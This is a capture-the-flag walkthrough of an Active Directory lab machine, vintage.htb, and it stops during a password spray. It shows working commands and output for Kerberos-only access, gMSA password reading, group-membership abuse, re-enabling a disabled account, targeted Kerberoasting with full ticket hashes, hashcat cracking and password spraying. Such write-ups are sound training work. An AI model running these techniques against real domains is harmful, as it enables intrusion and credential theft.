The hostname of the DC is DC01 so I added DC01.vintage.htb and vintage.htb into the hosts file.

croc@hacker$ sudo sed -i '$a10.10.11.45	DC01.vintage.htb vintage.htb' /etc/hosts

SMB – 139/445

A STATUS_NOT_SUPPORTED error appeared while connecting to the SMB Server. This is most likely because the SMB server does not support the authentication method being used.

croc@hacker$ impacket-smbclient 'vintage.htb'/'P.Rosa':'Rosaisbest123'@10.10.11.45
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] SMB SessionError: code: 0xc00000bb - STATUS_NOT_SUPPORTED - The request is not supported.

On the other hand, I tried Kerberos Authentication and it worked like a charm. However, we don’t have access to any useful shares.

croc@hacker$ impacket-smbclient 'vintage.htb'/'P.Rosa':'Rosaisbest123'@DC01.vintage.htb -k 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
Type help for list of commands
# shares
ADMIN$
C$
IPC$
NETLOGON
SYSVOL
#

💡 Think Box

I suspect that NTLM authentication is disabled on this box, making Kerberos authentication a requirement.

Ldapdomaindump – 389/TCP

Ldapdomaindump has two authentication modes: SIMPLE and NTLM(default). As NTLM is disabled, I tried using the SIMPLE authentication mode and it worked. This type of authentication utilizes a username and a password sent in clear text unless encrypted with SSL/TLS.

croc@hacker$ sudo /usr/bin/ldapdomaindump ldap://10.10.11.45 -u 'VINTAGE\P.Rosa' -p 'Rosaisbest123' -at SIMPLE
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
                                                                                                                         
croc@hacker$ ls                        
domain_computers_by_os.html  domain_groups.grep  domain_policy.html  domain_trusts.json          domain_users.json
domain_computers.grep        domain_groups.html  domain_policy.json  domain_users_by_group.html  
domain_computers.html        domain_groups.json  domain_trusts.grep  domain_users.grep
domain_computers.json        domain_policy.grep  domain_trusts.html  domain_users.html

I found C.Neri_adm to be a Remote Desktop User which may allow RDP access if we pivot to this user.

There are a bunch of service accounts as well that might allow kerberoasting:

We also have a couple of Remote management users as well that could lead us to WinRM access:

Several computer accounts were also found:

Since the Account Lockout Threshold is set to 0, we’re good password spraying:

💡 Think Box

Now, we know that we also have simple authentication enabled via LDAP which we can utilize for further enumeration.

Ldapsearch – List Users by Groups

An alternative way to enumerate users and their groups is by using ldapsearch with simple authentication:

croc@hacker$ ldapsearch -x -H ldap://10.10.11.45 -D "P.Rosa@vintage.htb" -w "Rosaisbest123" -b "DC=vintage,DC=htb" "(objectClass=user)" sAMAccountName memberOf 
# extended LDIF
#
# LDAPv3
# base <DC=vintage,DC=htb> with scope subtree
# filter: (objectClass=user)
# requesting: sAMAccountName memberOf 
#

# Administrator, Users, vintage.htb
dn: CN=Administrator,CN=Users,DC=vintage,DC=htb
memberOf: CN=Group Policy Creator Owners,CN=Users,DC=vintage,DC=htb
memberOf: CN=Domain Admins,CN=Users,DC=vintage,DC=htb
memberOf: CN=Enterprise Admins,CN=Users,DC=vintage,DC=htb
memberOf: CN=Schema Admins,CN=Users,DC=vintage,DC=htb
memberOf: CN=Administrators,CN=Builtin,DC=vintage,DC=htb
sAMAccountName: Administrator

# Guest, Users, vintage.htb
dn: CN=Guest,CN=Users,DC=vintage,DC=htb
memberOf: CN=Guests,CN=Builtin,DC=vintage,DC=htb
sAMAccountName: Guest

# DC01, Domain Controllers, vintage.htb
dn: CN=DC01,OU=Domain Controllers,DC=vintage,DC=htb
sAMAccountName: DC01$

# krbtgt, Users, vintage.htb
dn: CN=krbtgt,CN=Users,DC=vintage,DC=htb
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=vintage,DC=htb
sAMAccountName: krbtgt

# gMSA01, Managed Service Accounts, vintage.htb
dn: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
sAMAccountName: gMSA01$

# fs01, Computers, vintage.htb
dn: CN=fs01,CN=Computers,DC=vintage,DC=htb
memberOf: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=vintage,DC=htb
sAMAccountName: FS01$

# M.Rossi, Users, vintage.htb
dn: CN=M.Rossi,CN=Users,DC=vintage,DC=htb
sAMAccountName: M.Rossi

# R.Verdi, Users, vintage.htb
dn: CN=R.Verdi,CN=Users,DC=vintage,DC=htb
sAMAccountName: R.Verdi

# L.Bianchi, Users, vintage.htb
dn: CN=L.Bianchi,CN=Users,DC=vintage,DC=htb
memberOf: CN=ServiceManagers,OU=Pre-Migration,DC=vintage,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=vintage,DC=htb
sAMAccountName: L.Bianchi

# G.Viola, Users, vintage.htb
dn: CN=G.Viola,CN=Users,DC=vintage,DC=htb
memberOf: CN=ServiceManagers,OU=Pre-Migration,DC=vintage,DC=htb
sAMAccountName: G.Viola

# C.Neri, Users, vintage.htb
dn: CN=C.Neri,CN=Users,DC=vintage,DC=htb
memberOf: CN=ServiceManagers,OU=Pre-Migration,DC=vintage,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=vintage,DC=htb
sAMAccountName: C.Neri

# P.Rosa, Users, vintage.htb
dn: CN=P.Rosa,CN=Users,DC=vintage,DC=htb
sAMAccountName: P.Rosa

# svc_sql, Pre-Migration, vintage.htb
dn: CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
memberOf: CN=ServiceAccounts,OU=Pre-Migration,DC=vintage,DC=htb
sAMAccountName: svc_sql

# svc_ldap, Pre-Migration, vintage.htb
dn: CN=svc_ldap,OU=Pre-Migration,DC=vintage,DC=htb
memberOf: CN=ServiceAccounts,OU=Pre-Migration,DC=vintage,DC=htb
sAMAccountName: svc_ldap

# svc_ark, Pre-Migration, vintage.htb
dn: CN=svc_ark,OU=Pre-Migration,DC=vintage,DC=htb
memberOf: CN=ServiceAccounts,OU=Pre-Migration,DC=vintage,DC=htb
sAMAccountName: svc_ark

# C.Neri_adm, Users, vintage.htb
dn: CN=C.Neri_adm,CN=Users,DC=vintage,DC=htb
memberOf: CN=DelegatedAdmins,OU=Pre-Migration,DC=vintage,DC=htb
memberOf: CN=Remote Desktop Users,CN=Builtin,DC=vintage,DC=htb
sAMAccountName: C.Neri_adm

# L.Bianchi_adm, Users, vintage.htb
dn: CN=L.Bianchi_adm,CN=Users,DC=vintage,DC=htb
memberOf: CN=DelegatedAdmins,OU=Pre-Migration,DC=vintage,DC=htb
memberOf: CN=Domain Admins,CN=Users,DC=vintage,DC=htb
sAMAccountName: L.Bianchi_adm

# search reference
ref: ldap://ForestDnsZones.vintage.htb/DC=ForestDnsZones,DC=vintage,DC=htb

# search reference
ref: ldap://DomainDnsZones.vintage.htb/DC=DomainDnsZones,DC=vintage,DC=htb

# search reference
ref: ldap://vintage.htb/CN=Configuration,DC=vintage,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 21
# numEntries: 17
# numReferences: 3

Note the FS01$ computer account being a part of Pre-Windows 2000 Compatible Access group which we didn’t see earlier in ldapdomaindump output. That is interesting!

BloodHound Collection

I collected the loot using bloodhound-python and uploaded in bloodhound:

croc@hacker$ bloodhound-python -u 'P.Rosa' -p 'Rosaisbest123' -d 'vintage.htb' -c all -ns 10.10.11.45
INFO: Found AD domain: vintage.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 16 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: FS01.vintage.htb
INFO: Querying computer: dc01.vintage.htb
WARNING: Could not resolve: FS01.vintage.htb: The resolution lifetime expired after 3.106 seconds: Server Do53:10.10.11.45@53 answered The DNS operation timed out.                              
INFO: Done in 01M 56S

croc@hacker$ ls
20250228115043_computers.json   20250228115043_domains.json  20250228115043_groups.json  20250228115043_users.json 20250228115043_containers.json  20250228115043_gpos.json     20250228115043_ous.json

The reason that FS01.vintage.htb didn’t resolve here is that the target machine doesn’t have a DNS record for it:

croc@hacker$ nxc ldap DC01.vintage.htb -d 'vintage.htb' -u 'P.Rosa' -p 'Rosaisbest123' -k -M get-network -o ALL=true
LDAP        DC01.vintage.htb 389    DC01             [*] None (name:DC01) (domain:vintage.htb)
LDAP        DC01.vintage.htb 389    DC01             [+] vintage.htb\P.Rosa:Rosaisbest123 
GET-NETWORK DC01.vintage.htb 389    DC01             [*] Querying zone for records
GET-NETWORK DC01.vintage.htb 389    DC01             Found 1 records
GET-NETWORK DC01.vintage.htb 389    DC01             [+] Dumped 1 records to /home/kali/.nxc/logs/vintage.htb_network_2025-03-12_150255.log
                                                                                                                         
croc@hacker$ cat /home/kali/.nxc/logs/vintage.htb_network_2025-03-12_150255.log
dc01.vintage.htb 	 10.10.11.45

Data Analysis

I started with the P.Rosa account since we had its credentials, but I didn’t find anything useful there. Next, I focused on the computer objects, as we had already spotted something interesting—the Pre-Windows 2000 Compatible Access group.

Pre-Windows 2000 Compatible Access group

This group was introduced by Microsoft in Windows 2000 primarily to provide backward compatibility with Windows NT and legacy applications requiring broad read access to Active Directory. According to Microsoft,

It is a backward compatibility group which allows read access on all users and groups in the domain.

I recommend reading the following to understand the security implications of this group:

The Risks of Pre-Windows 2000 Compatibility Access
The default setting of many modern Windows servers can create a vulnerability around pre-Windows 2000 compatibility access. Visit our AD blog to learn more.
www.semperis.com

Abusing FS01$

If a new computer is configured as a “Pre-Windows 2000 Computer”, it means that it’s credential is DOMAIN.TLDCOMPUTERNAME$:computername(The password is the lowercase of the computer name). However, once an authentication occurs for a pre-windows 2000 computer, it’s password usually needs to be changed.

As FS01$ is a part of this group, it’s worth checking whether we can do something with it or not. I tried to get a TGT for it which got successful:

croc@hacker$ impacket-getTGT 'vintage.htb/FS01$:fs01' -k -dc-ip DC01.vintage.htb    
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in FS01$.ccache

Hence, we own the FS01$ computer object. We can also gain a SMB shell if we want:

croc@hacker$ export KRB5CCNAME=FS01\$.ccache

croc@hacker$ impacket-smbclient 'vintage.htb'/'FS01$'@DC01.vintage.htb -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# shares
ADMIN$
C$
IPC$
NETLOGON
SYSVOL
#

Way Forward – BloodHound

I marked FS01 as owned and then under Analysis > Shortest Path from owned Principals, I found that the Domain Computers group, which FS01 is a member of, has ReadGMSAPassword permissions over GMSA01$.

💡 Think Box

This means that FS01$ has the permission to retrieve the password for the GMSA01$ account.

Abusing Group Managed Service Account – GMSA01$

According to BloodHound,

Group Managed Service Accounts are a special type of Active Directory object, where the password for that object is managed by and automatically changed by Domain Controllers on a set interval(check the MSDS-ManagedPasswordInterval attribute).

The intended use of a GMSA is to allow certain computer accounts to retrieve the password for the GMSA, then run local services as the GMSA. An attacker with control of an authorized principal may abuse that privilege to impersonate the GMSA.

Moving forward, I successfully retrieved the NTLM hash for the GMSA01$ account by authenticating as the FS01$ account using bloodyAD.

croc@hacker$ KRB5CCNAME=FS01\$.ccache bloodyAD --host "DC01.vintage.htb" -d "vintage.htb" -k get object GMSA01$ --attr msDS-ManagedPassword

distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:51434c5b357ff89c5f85d994a27f7339
msDS-ManagedPassword.B64ENCODED: qNZ+qlGD+Cx17DM27SffmeF+2eftJRLCsHfxsLxSzhh2dERzgKmiJzvEHrfEAqstlS64r4Y1OQdu8sdCT6b8+gYXpLDa8xBQIFyshNK7YPrERV3rJVALnhITHE4lKIYoagI4Dr9owAMBGo7ZC4LOoBGk90mk4uuIMHNtylVRWva41F+v2TFCzSNfKnBSVuLhiZ+koEMTCkgP3Z+4Xnnluw6qkD3WPsnsYDlYYizOGPhsUwB1GJyzFHawe4iwfVnbWQdouCgflR27treFO5W0R5RqcRhkwEYLomOobFVUa3kGh1iQNdpaJLPI6Uo4767UM1O/sSaeML8nKVKhwsDolA==

Furthermore, I got the TGT for GMSA01$ using his NTLM hash. Hence, we have full control over it.

croc@hacker$ impacket-getTGT 'vintage.htb/GMSA01$' -hashes aad3b435b51404eeaad3b435b51404ee:51434c5b357ff89c5f85d994a27f7339 -k 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in GMSA01$.ccache

💡 Think Box

It’s always a good practice to revisit bloodhound when we pivot to a new user to see what we can do.

Revisiting BloodHound

I found that GMSA01$ has the ability to add itself to Service Managers group:

I used bloodyAD to add GMSA01$ to the Service Managers group:

croc@hacker$ KRB5CCNAME=GMSA01\$.ccache bloodyAD -d 'vintage.htb' -u 'GMSA01$' -k --host 'DC01.vintage.htb' add groupMember 'ServiceManagers' 'GMSA01$'
[+] GMSA01$ added to ServiceManagers

Shell as C.Neri

Targeted Kerberoasting – Service Accounts

Investigating the Service Managers group in bloodhound, I found that the members of this group has GenericAll privilege over three service accounts: svc_ldap, svc_sql & svc_ark. This is also known as full control. This privilege allows the trustee to manipulate the target object however they wish.

Full control of a user allows us to modify properties of the user in order to perform a targeted kerberoast attack. The tool used will set an arbitrary SPN on all the svc_* accounts, request a TGS and then remove the SPN.

croc@hacker$ KRB5CCNAME=GMSA01\$.ccache python3 targetedKerberoast.py -k --no-pass -d 'vintage.htb' --dc-host 'DC01.vintage.htb' --dc-ip '10.10.11.45'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (svc_ldap)
$krb5tgs$23$*svc_ldap$VINTAGE.HTB$vintage.htb/svc_ldap*$4cace799b4753e4e7521f512d68046a6$e49b0b03add50aaf82eb2bbd2b104f1f96e87a662655bfdfd95a401f0eb5ac58f8a28394a66f85c4c89cdc9fb86161a05f55cb195b15615a32b86206e7cae10421e40e0269314b9242d3324cf882d3266a63bd9107110d252f571699e55130b8473ff8961602beec6df014aa61dd3e9dddfad02124e67e6324b37ac17edf0756cd9a0631cc5c28beae652f2337a7dcc90b0b4c94625549b42a07bae5dd336affc45fd99f9c45314eee1d6329bbdbfefe9d42b1a13d702705167c2210deff8624113c5b3d0821efcef78146b185540ac2d622ba677c1e4fc454ba128b3a296221df84776a97eb0c1223e85eba3d00cd6d07cf0879c447f789a50fe53e7881af4a32a1fc72657425be530c32554dbdf8fd4bd26b10da6de162599753bae2c915bce1b46b2a4a58b5cb29ce260aec28af2c942f283b31ae3c028e2e9c2b92ec2c21a749ce8471918cb023068f5f57c5e23652b1262a1df87d527f2849ea6628807754fa942e2353e5e4c8fc22f1079e3dc062adac1450ee0713599b59f3de4f74e00acb40613c7d7ee9574adf5d085811bfe4698d606444da84165b2807dbe4671702f72780af2ad5b42bd46a89309878018e4f83a0dd8cfbfe7a3d05b606a93917a135cf69c93062f941fe3b4f301cf5b76e3966896bad0ee3d2224477e8475ccfec98813b481226f1385507e7876c9e82814ff48ea90c4207e2c1995c743297da7ee9e031004e6134c5459e7b30cfea29193fb623c08ae2bd923945758634ac8f7c7534bc8013e2d5ef10e1d8823090ddd432810cfa17f1f81935d90d98530ac56625851e544310f877ba89bbf4ef646c505fe6a33f5e8cce70d35559d35cb5f23ba588465f3f2400c2c51de57efda9d65e1af2940c7b1d8481a135826df4e3d379d09cf2a9c95a98efff900abbd0cf17e25821c11c3642c6a80badb74014e7d375bb6f99b76def89295a4b4358600de0ea4aeb2b46e046e65474663775f9daf723e11dc4cd02c34005cd4e405c96739a7b59030bb0d312b7a51079abff82f054e91f7a2e69ae78e4184582766aa05c9577b06928ee7f008aee5acad3717641bc492a4849270a15a8106b6a94cb25196e7100b59681c33c915b1664dc1cc49042574e8a3fe23b30762acc3708514c57150a210e0a811fe26af640ac1d5e6f0b132dfb6484edc38536c0fab621aa0382c77939c432eb88118515c79beffd473e220dc84ad58d2c56165056bdc4a7e8687ced370cfff7582381cd4777aaece2b8d7b5ee9005dec1a2e711822fbfabe71293cdc7b2364fe2f48c0a490d845de191a0baa6ed6351b1c62d274a92505482e0851a9053429528935e5bd5803055568214985bd39a4d4107d0ad5306187edb7d24fd463132f77c87cd94b178c56c29b2a9a25d44cd5e45fecdb89e7c76b4f60e3c7a86933f88603a04a4c39355f3be5f24500eca
[+] Printing hash for (svc_ark)
$krb5tgs$23$*svc_ark$VINTAGE.HTB$vintage.htb/svc_ark*$ee407a467d551f7bafb41550d761efc0$eafa2a8943fd67185df83290c4a82c26cff33460d4eae96128f297ef6f6ccea3b2d6e0fb4781a7cae205045445b2df4cff0757d9c79c50a4046b6629e47db6e19309734fac086d5b314c14cc984f597c1772aaa35f794a77121fb2cea6ebf939c1efd70fd6e2614bebd4a4d27c09fcc7ec1424b93ae936bd9299d1d0fb0e27d0d687200bcb6489c66e1b4ffbf5253ef87532a703bded87c94ade871a6d6bd78ce477584dbd5780907fb11aa8fbc205bbed6ba178fbbf87c219a5780caac18dc3d91ddae2538954e18269f8f183f9f867cc4e4c08342f1f6728dd00a7e60c4fc7b10fdcf63e8b4a9e4ed924df8200ad736d77c90ab4cf80b6de2bad41ce5daf4506b7b96cee127e9c84d06a283c325c814ab9d271be38e98c4de0b6eaac13cee96c8c85b77539bcdcb770bd1572661eb5cd7e12892dd5b7be16cc0430427afcaf25ad53b862f7121a2429085a7e3cfd77faa4ddf93addc4d11c03bf07ecda671d4a616a07176b6d93469ad0a441dc608097566e7cb4b385ea66c6b66d47d629f43a81377117bf855e6e279b60d1ea670fa3fe90d4f17a42422bce6421d551b890724a060a0a37f2f2f3eafeaeda5005394a8b2a1c6dcfe06bcb96119caf2d08911cdebf0147792642f24c217706c9355bfbbeffa40896429dfb45b0bba1124f106e7fe92e46f70ec8cab2267d822f2472b557c5b99ec011b16906b17235ebe0a5c82eee5886d3675f852b86a39f26cbe7b8e2afc2f10b227e4b24c8488986477dc199a27cade4f2048dd6f4f5b60269b9da9a8c8911ff7f85bc4b8b747f05b9d37879e4c01d20c2c5b025251a7b18911740a9cfd08f990dcb68b29f9951b8140e0d96a47c92401af16e521b76a9f6dfc7a258767e8ea1b790054d2dec6a087d0df464caea8a0d641e9335449d2ba24c008146d0fa54b56f4dfd7392e9d2eb5ffee38a1863bf242e6a94d367eb8d19b5c00bb1611f35727669c1e52b993ccca0fd4818b3f9ea62b841a69dda4497f174a6e69327d8fdde71212ab89ca1efdb6b6a04768569055fe493d2e71617abd42bac1c81325f5a59ce6926e5b59e9020d97e9148b88d86bfee9cd4e3ec6abd9f1df17c77b3e3a92eba2daa25cf3e976233ca24d04a0cc01f39997155d9c88c2397e5e12c57b0ef8c5dfe886ff7bc15cef3f04f765fbca7ef8efbb72ef4ed5af83def90dcdcf6c6564a1450101cd2de2ddd1bb74b9ea216667c1a5f713ef21c948b4005791309244c757571325ec7a0a20367b30297db3aa3dcf9ca7158e31ee3d78708b9a9ccd30f706bfef42267616861554559e6dbd8bf4d59f6b7cfd4ff8d4d1fd6efd251b9bcd0b5ac98fbddbb86a0837ef4bc34a8ceba632fdd957acad4c9e92e043d3bc012527c0d14e1c26446abc3cd7a90cefdee3159f7ec0cbc46614cbc33d285622b9b48885c57724b8359cfae066f4b

Note that this only retrieved the TGS for two service accounts. The svc_sql account is absent from the output. This is because it is not enabled, as you can see below in bloodhound:

💡 Think Box

The best bet is to enable the svc_sql account by ourselves so that we are not missing anything that may lead us to further access.

I enabled the svc_sql account using bloodyAD:

croc@hacker$ KRB5CCNAME=GMSA01\$.ccache bloodyAD -u 'gMSA01' --host 'DC01.vintage.htb' -d 'vintage.htb' -k remove uac 'svc_sql' -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from svc_sql's userAccountControl

Now that the svc_sql account is enabled, performing the targeted kerberoasting again successfully retrieved the TGS for all three service accounts.

croc@hacker$ KRB5CCNAMEGMSA01\$.ccache python3 targetedKerberoast.py -k --no-pass -d 'vintage.htb' --dc-host 'DC01.vintage.htb' --dc-ip '10.10.11.45'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (svc_sql)
$krb5tgs$23$*svc_sql$VINTAGE.HTB$vintage.htb/svc_sql*$f335c53b04bd9c45c92837e8434a5f8b$e709bf0486c63008fc63fdd6766dec4959034745134b45cbfb65b17771db0881a918f5970c7b06021a50adc910627f0811c62d3bee2d90b35a69ef51253a9dd8ce71af0d0c5be3fab0da2350926154a0faccbce694bc8e51fc7f6cad660c464bdb17963230064ae4326128df1db41de1c7f3b45563cbad9db57c0f4911d8464a303f19ee40c34785f03490a5223b640a3f82cae500430a97417e86b9b8cb91226e0076724cc3023e2623a76685d2cd0106ec16ae62d25b3793185b0bc55575f93e6062ca6fbbcaae8974cc0667338443b383041752bc82b9483c6d658cdbcd174ea16b648f43684863cfe2c5775078be49fb2325394f2c643cbf0928413ad5688536ce870db4107aa2832ccb65ae6f2fdc34553a189df3a282ca9b33f9c777d5d3541a9aa382647e6db7f1208a46986ba204760d43fbbedef15b339a22b466afaeda90d9df0a8c0bc22c4ef42e554a96dd6e4353aa6a7874999966aa51dda6599ea603ee84b1266423a277fb9f2e867e4b0286b328da2ee860d5fd69ed1fe03f4bb100cbab0d751a00f9bd948097f9894ab52cd60d65eec2db14ffe5118d4d206aa0d812762c098afb4e443f0d3989b6162a40f898a5903ec76ac33072103154d4eecdd1c8eb0c767b5e9c5d77ba9f9c68e24d68915f20683d77c8bfec8119c57e44754e06061b9fba2571d78d6eedf20c7e80b2102cf446e15baca64e8742c21383f1200a91af9c310de03955e477c8a04ff785fc001583b4b918b6f994419392af4b3689d22c1ab4943f31f5a3ddd63c3f9f15caabf860312eb59c76b18653f6318e7f3b683d6581703df8437095132468c94c90574098523a1e61a33d824ab47c4e9ba1c5231aea16c6003486ff822ba3400405dae45b8b2c6e38dee269baf89f4c377671ba558a7e6b5f7427c991c5dcb4cf21a99bd1c1f164bc4ca58d6c69f4a5444ba2e974bc85526c984950235fcbfc136828986c44cd7d71bb6b93046b2be3caac37ac730c8d6b104bb911d778cbec110a7e20a8be8c52ff5ee7f538d039b4ac38ffc11b44f6f0e23b2319d896ce5ce6857a319f3e9de3cea8656684fa4d5d154654ddeddaf427746b9651fd632d790276a74ac63604018c3bb5fdc6b7b2cbffe11c5e83a85ac83b233296d081a485627d5ff400373bcb46d09e6e439bb2be831bad2105d5103e06d7220f532069a09de71625facfdb8986b7f53631d265d29bb55e287832c74857d3a2076f348c9a3627145cc5d5f57d08cabeec5ca7fd7406a4b934545f9910c42e998d03462f3d95d1d00762fea22508ffffc4268514474688e15272d8846ee7561f75d6e4a648cee84a67fe5e2cf06e61305f0a4d543ea1c7ccb34aed6ff9ec4effb3a649b73b1e7f942a962189c35b23553387d5eea2ec96507cc771188c7371aaf23b7fbaa8dd786a87243b76cbe4470d4008a41deb
[+] Printing hash for (svc_ldap)
$krb5tgs$23$*svc_ldap$VINTAGE.HTB$vintage.htb/svc_ldap*$04ae435466cebf9d090c728e2246d615$5747ffa3888c0b11587a353ff56bf5c9d679a396deb9d6a06282aa2d60bf391e2ef199bbdb8de00e3d750d213aa1e4cfe53e90242f84119b4916545dc1744294fbd35e68df8f5d8cc7771bf54d2c0920510051773f974623c2928876684f6f266b592a961c5a37106823923dafb1a8ce3cbc967b4b67eecfb223547edea93e1008e42c917596f3d79c20b9bc12c8106d5df7ec932a752737756376320a7d8496fe607115828c738a0dc69d4828ccca141d271e0a40d150baa2d6f40ab7c1bc605608ed2a0d6c27329e14e6510fb1b1c1075886352ccb839e3bb5046990e3cf63f5b703782f91514074cef920010fbb5fc2958607793f436e4ea98566e0fbe25b6fe61a54a1f4332086f0e9f4981747b7ad9af4e05d1770362d175d06c8aaa306c2bda7e54710c588c18d9fa3a9a775e97949ef6bc1732aca34206dab4bcf9a7548b480fba8a7e4d2554e945589fae3ac9cf8da08836bdc2111906a75a6cf067dbf86561ef3c09b2122ec41ca8d1a792ce930c044d8f560721bce655d0e4d645c7b24e6ca1e2c61b0885260890917b1a4df67d1df22648187e1aab6ec99542860f6b9b9c2e42463bd6cdc85d1b9ffe6117cedc3d7570254e78cd3e29230eaf1c13a13d0fe7e4a7c6d066926f1a95121446bf23457a8d6fcdb5339be55f8025de6462033875303f9a4b63ea3511256d8da63e0734c7e6b1ee04d3f474dbbf5a0959eca47b9ed5afffe0bc6b485d390ff0c999ac5671d2772030b900f8090c5227f2b1e8da3b680ab8ce0753276b428d8ea345256cd61538ac685fd20380b080056697232a1eea7258f32d747efdc34d33d15d69339de737236cecee2a4d41a2baa7c78a9b5af6a7cbf0d8ee668652db936334c70ad59b8dfb6d5db7d1e238dfa4a477c9384560f63b4db1f5ac5f08bd9ca75145d388892abdd029e0a0342c8b63e8dea57ccaef21278a0d04175ea4d5ff936bd8753a3d7740c5476964532b447f9b4f16df0f4cfa5181ead99eb1c200b209f53e710cbf0e6d83143ad61d593063f31b696074ccd584c09bcddf6fc34f5b6ef7189d8cd5d5b89b744f378843563ed5d51c5e6040f62589aa05227d647cc8be6cc7d0c48d5cd44d465624406b70dbd592a7df99d0e6a0a2a76599628435a5e779e0a3d66533cbef25f34281548900f48302997ea2c2d05ad7928be6cb384fec373c93be660eb514c5549c027f84e6884b66edc9b30772e2e6781bb0d745d7659e50dea2a3e8f170a6c976b0394bb15215b724e829080d88df8b50333f48b157b9df85da32fd334e875f46d5e71a08c35f255336fe8e54f0f58e6c520b7519ef3dee6c1eb3617f78f807da7ab430c2326c87ec2a2609b8ecbbf2696cc0380613887f78296966bddaf6c336aa73ee4cecbe56c1e3bc544f171f757afb0361726ea5a8ac654d2a6710f6c7635a40214b25e728e
[+] Printing hash for (svc_ark)
$krb5tgs$23$*svc_ark$VINTAGE.HTB$vintage.htb/svc_ark*$2c51e4092cc7433908e17559948a3638$22ba31d929ec8aab275f490ebf03a63d0923d73e124cf255002ae90490f7576e2999c5347c531c22d8ada3042a057865fdaf1d1fee9bacb269cd80412e6c82d422198c7d387867107bb9bf30343a1bfba0e2625a97095743feb966e4676bc30748190702438e719943cfd09ed9840f267c66f3395b051498d17457cddd3d7e94bd15224e170b5ea91864d00fd8871236fe3ffa0ba98944726a2d37d9a67a7c8b49e8d9c3636f140c303be7262e9f4c07d793cce49f07126932cac85bbafe6f02a1037b4f0ae567d4e154a9272425ef2d206c7cc78055307c3e5a2c36bdf2e48970f2f903a825ed1cf4c5192eb316b5dab8e6fc99d266fc3df78b284ad582dd4a258c2faa602591f2b8bd9a76e4b9ca827fec241113fbc484d90a35de14ff46434887b02fc551320ec53d6357a5cd018c11025d95caaaae87ff7a80e2fdfc8f445433c2254d652e35f69693cb08763c652067024ee03ac6afd71fd459d52965e38e5e36ce325bae11b601024146bff6596a817bbf1db687a838307d89c8a77e1594bd8bcfb96bc214f6392bc45cfa325846239061e98f93d2f74cfd02e0856de63c6d414cdc30eaa81ca54c79d97426c96d1d0cbb99722a383a7a9918e934ef2f8142c08245c1cd937d805898f4ce24e8033631af843f442d0905f2bc1b95345359082fd3804b971136fb09bff1d067d9c4e3b2d29fc6c5f3e360d1a593023b0ce1cdb4528330300c83378631da578dff0ec2dafbbd4d55175c0db04e77297775eed6e1f3e5b97e2034e934325d11a0b085d184f537e01cd8340a006b10ef4b9c4347caba7728ecec7d98e91a0af0642038abd23722fb9db0cba0b6647400d1b9d2434c33cd5e71fc382ec0f48b9585f72c31bd150dfbff55c7ad037dbd74bc2c376f6ba27fe20fb0e6d7ac2b7b08246f7d46cec7ac434fed81857daa0807037bea2b12e57ba82fa4e6fc414c5ca97c15ed4f4298c85e250a053acdc804a7531ac2369afa99e82071b15c5960b1cd00095ff97d366f4a6eb7464afc6605cff12416beb189f323c372eb556a5aecb682e9e965f47c385ea9175d0ec7d941e610746b7bce4edcc258de001929dfdce53caecdee10c3ef03d30d879e039f164eac99a3154fa7a9abd93e2ce33b9df729b81bf8fac5c24bec2b0042a3da9c8162bee478bf96b5073cb6dd36a69c2a49ed74ac10b9d0287975c73fdb00d16f436d332bd00631083e9106c3add62117e4922fe5f64d9cc4c6dbc64a441061df4f49b7eafd61a005ff503e73172c4f96eb87f95e0fde1a0db358b9106526ed9949da0abeb87ff2eac7fde7babb2717df1c2edea76ee5f0f003a1eb036babf3fffc94fe28706b1f6da5c38daf7649ec4be0a3a3679f6ef0f4d8a5b0b8b0f3f200c5544bc1b963ad152f6c13eaf3df7649c7d5830fb4e25c2903c34e8690e2e7b43faf4bcfe0eef1

Cracking the TGS Hashes

I used hashcat to crack the hashes and luckily one of them cracked.

croc@hacker$ hashcat -m 13100 krb.txt /usr/share/wordlists/rockyou.txt

The password for the svc_sql account is Zer0the0ne.

💡 Think Box

The svc_sql account doesn’t have any interesting pathways in Bloodhound, so the next best thing we can go for is to spray the password to check for a password reuse.

Password Spraying

Users

First, I made a users.txt file with all the users listed in it. Usually, I do this at the very beginning of the box though.

croc@hacker$ nxc ldap DC01.vintage.htb -u 'P.Rosa' -p 'Rosaisbest123' -k --users | awk 'NR>4 {print $5}' > users.txt
                                                                                                                         
croc@hacker$ cat users.txt                 
Administrator
Guest
krbtgt
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm

nxc

I used nxc to pass the password along and fortunately, we have a valid login for C.Neri user account:

croc@hacker$ nxc ldap 10.10.11.45 -u users.txt -p 'Zer0the0ne' -k --kdcHost 'DC01.vintage.htb' --continue-on-success
LDAP        10.10.11.45     389    DC01             [*] None (name:DC01) (domain:vintage.htb)
LDAP        10.10.11.45     389    DC01             [-] vintage.htb\Administrator:Zer0the0ne KDC_ERR_PREAUTH_FAILED
